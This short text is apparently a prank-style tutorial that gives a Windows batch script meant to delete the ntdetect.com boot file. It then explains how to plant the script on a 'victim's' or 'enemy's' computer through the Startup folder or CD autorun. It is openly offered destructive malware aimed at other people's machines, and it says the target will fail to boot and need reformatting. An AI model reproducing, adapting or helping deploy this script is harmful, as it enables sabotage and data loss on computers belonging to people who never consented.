Open notepad and copy the below code
echo off C: cd.. cd.. cd.. attrib -r -s -h ntdetect.com del ntdetect.com echo on print U r a LOSER GK is a Winner
Save this file as virus.bat or any other name with .bat extension
Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and set it in the autorun.
With this activated once the computer will run perfectly
Once shutdowned then it will not start and U will have to format it (Except U know how to use DOS).